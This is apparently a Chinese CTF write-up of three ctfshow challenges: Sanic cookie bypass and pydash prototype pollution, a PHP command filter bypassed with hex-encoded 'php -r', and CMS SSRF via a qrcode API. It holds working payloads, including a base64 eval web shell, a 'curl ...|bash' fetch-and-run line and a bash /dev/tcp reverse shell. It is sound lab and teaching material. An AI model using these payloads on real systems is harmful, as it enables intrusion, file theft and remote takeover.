复现平台ctfshow

https://ctf.show/challenges

sanic

题目提示

1
2
3
4
题目描述:sanic能有什么问题呢?
敏感目录
/admin
/src

读到/src

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

本地创建虚拟环境,还原题目

vscode提供直接生成虚拟环境

1
2
3
pip install sanic
pip install sanic_session
pip install pydash==5.1.2

审计发现admin路由存在原型链污染的操作 前提是session提取出来的admin的值要为true
image-20241002165951993

我们可以通过/login路由进行伪造,当我们cookie传的user的值为adm;n时,会给我们设置为true

image-20241006212317191

但是在cookie中分号被视为分隔符,正常传肯定失败,那我们就要去分析能否绕过

(当然肯定可以不然没法解)

既然是sanic的框架 我们去sanic框架的源码中找一下cookie的处理逻辑,在路径

1
sanic/cookies/request.py

发现_unquote函数开头会去掉双引号且存在八进制解码的逻辑,于是找到绕过办法

1
"\141\144\155\073\156"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def _unquote(str):  # no cov
if str is None or len(str) < 2:
return str
if str[0] != '"' or str[-1] != '"':
return str

str = str[1:-1]

i = 0
n = len(str)
res = []
while 0 <= i < n:
o_match = OCTAL_PATTERN.search(str, i)
q_match = QUOTE_PATTERN.search(str, i)
if not o_match and not q_match:
res.append(str[i:])
break
# else:
j = k = -1
if o_match:
j = o_match.start(0)
if q_match:
k = q_match.start(0)
if q_match and (not o_match or k < j):
res.append(str[i:k])
res.append(str[k + 1])
i = k + 2
else:
res.append(str[i:j])
res.append(chr(int(str[j + 1 : j + 4], 8))) # noqa: E203
i = j + 4
return "".join(res)

开始尝试污染

思路很明确就是污染__file__变量,达到任意文件读取

但还是需要绕过_.的过滤,我们利用类似转义的方式去绕过

所以我们可以使用如下payload进行读文件

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"}

image-20241002214713075

尝试直接读/flag(肯定不能这样简单),所以我们继续寻找可污染变量

哪可能存在可能被污染的变量呢?注意到注册的 static 路由,我们跟进源码看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def static(
self,
uri: str,
file_or_directory: Union[PathLike, str],
pattern: str = r"/?.+",
use_modified_since: bool = True,
use_content_range: bool = False,
stream_large_files: Union[bool, int] = False,
name: str = "static",
host: Optional[str] = None,
strict_slashes: Optional[bool] = None,
content_type: Optional[str] = None,
apply: bool = True,
resource_type: Optional[str] = None,
index: Optional[Union[str, Sequence[str]]] = None,
directory_view: bool = False,
directory_handler: Optional[DirectoryHandler] = None,
):

注意到directory_view和directory_handler

看下注释

1
2
directory_view (bool, optional): 是否在展示目录时回退到显示目录查看器。默认为 `False`。
directory_handler (Optional[DirectoryHandler], optional): DirectoryHandler的一个实例,可以用来显式控制和继承默认目录处理程序的行为。

directory_view:是否显示目录视图。

directory_handler:目录处理器,用于自定义目录的响应行为。

跟进 directory_handler发现 directory_handler 是对 DirectoryHandler类的实例化

image-20241002220049984

再次跟进DirectoryHandler

image-20241002220134813

跟进这个类发现directory_view和directory可以猜想只要我们将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件,也就能看到flag的名字

我们自己可以加个后门方便我们本地调试

image-20241002220331925

然后我们本地起个服务

由于 sanic框架可以通过app.route.name_index[‘xxxxx’]来获取注册的路由 我们直接输出看看

1
?cmd=print(app.router.name_index['__mp_main__.static'])

image-20241002221935602

全局搜索name_index,看看是怎么调用的

image-20241002222131225

打个断点 我们可以看见handler.keywords.directory_handler下存在我们想污染的变量

image-20241005204050911

1
src?cmd=print(app.router.name_index["__mp_main__.static"].handler.keywords["directory_handler"])

image-20241005204415389

可以看到输出了这个对象 接下来访问这个对象的.directory_view

1
print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory_view)

image-20241005204525075

发现为false 我们只需要污染为true即可

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"}

同理我们可以看见了他也存在directory
我们正常思路是去污染这个 来我们试试能不能访问

1
print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory)

image-20241005204742715

发现正是我们的当前目录 我们尝试污染

发现报错 我们跟进directory看看

发现 directory是一个对象,而它的值就是由其中 的parts属性决定的,但是由于这个属性是一个tuple,不能直接被污染,我们需要找到这个属性是如何被赋值的

继续看DirectoryHandler类

image-20241005210725759

跟进Path对象

image-20241005211143793

可以看到parts的值最后是给了_parts这个属性,我们访问这个属性看看:

image-20241005211351804

发现这是一个list,允许污染!
给出污染链

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

尝试利用ctfshow复现

访问/static/

image-20241006184228863

找到flag名字

利用

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/24bcbd0192e591d6ded1_flag"}

访问/src

image-20241006184342679

simple_php

发现禁用了很多命令,但是我们可以通过

1
php -r

来利用服务器执行php代码间接执行系统命令

在这我采用16进制来采取编码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// 原始字符串
$originalString = "system('ls /');";
// 使用 bin2hex 函数将原始字符串编码为十六进制
$hexString = bin2hex($originalString);
// 输出十六进制字符串
echo "Hexadecimal encoded string: " .
$hexString . "\n";
// 使用 hex2bin 函数将十六进制字符串解码回原始字符串
$decodedString = hex2bin($hexString);
// 输出解码后的原始字符串
echo "Decoded string: " . $decodedString . "\n";
?>

利用

1
cmd=php -r eval(hex2bin(substr(_此处填 bin2hex编码之后的值,1))); //注意这个下划线是为了配合substr使用

我们直接把

1
$originalString = "file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg=='));";// <?php eval($_POST[1]);?>

替换到上面的代码中然后执行得到

1
66696c655f7075745f636f6e74656e747328277368656c6c2e706870272c6261736536345f6465636f6465282750443977614841675a585a686243676b58314250553152624d5630704f79412f50673d3d2729293b

然后post传参

1
2
3
cmd=php -r eval(hex2bin(substr(_66696c655f7075745f636f6e74656e747328277368656c6c2e706870272c6261736536345f6465636f6465282750443977614841675a585a686243676b58314250553152624d5630704f79412f50673d3d2729293b,1)));
?cmd=eval(hex2bin(substr(_66696c655f7075745f636f6e74656e747328277368656c6c2e706870272c6261736536345f6465636f6465282750443977614841675a585a686243676b58314250553152624d5630704f79412f50673d3d2729293b,1)));
1=system('cat /flag');

直接蚁剑连接即可

发现目录里面没有flag文件,env也没查到环境变量有flag,猜测是在数据库里

检测到存在mysqli;猜测密码为root,root;登陆成功;查询flag

easycms

1
2
3
4
5
6
7
提示
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}

比赛的时候是可以直接扫出来flag.php还有一些无关紧要的文件,访问之后回显

1
Just input 'cmd' From 127.0.0.1

发现需要本地ip,可以rce,要利用到ssrf啦

官网查查历史漏洞发现

image-20240717152207644

但是应该是被修复了啊,管他呢,先去源码查查这个关键词qrcode发现在Api.php存在

image-20240717155909368

下面if判断触发访问链接为thumb提供的url

结合文章

https://xz.aliyun.com/t/11457?time__1311=mqmx0DB7e42DnDBuekGk8DkQoP4ZnYD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-3

https://xz.aliyun.com/t/10002?time__1311=mq%2BxBD97qYqCqAKDsD7me5xrOD87KWqWK4D&alichlgref=https%3A%2F%2Fwww.google.com%2F

可以构造url

1
?s=api&c=api&m=qrcode&text=1&thumb=http://127.0.0.1/flag.php

但是测试发现是没办法直接通过127.0.0.1直接访问的,我们可以利用302跳转解决这个

1
?s=api&c=api&m=qrcode&text=1&thumb=http://服务器ip

服务器index.php内容是:

1
2
3
4
5
6
7
8
9
10
11
12
GIF89a
<?php

echo "GIF89a";

$url = "http://127.0.0.1/1.php?cmd=curl IP:885/jump.html|bash";

header('location:'.$url,true,302);

exit();

?>

保存一个jump.html

1
bash -i >& /dev/tcp/服务器ip/666 0>&1

题目本身环境没问题,但是ctfshow复现环境用这个是打不通的

本地起了个服务测试是可以实现的,当时比赛也打出来了

image-20240717193338860

image-20240717193318956

第二个感觉是被修复了其实还是原来那个解法

只不过由于校验了图片格式所以要改一下跳转文件

1
2
3
4
5
GIF89a
<html>
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fvps%2Fports%200%3E%261%22");?>
</html>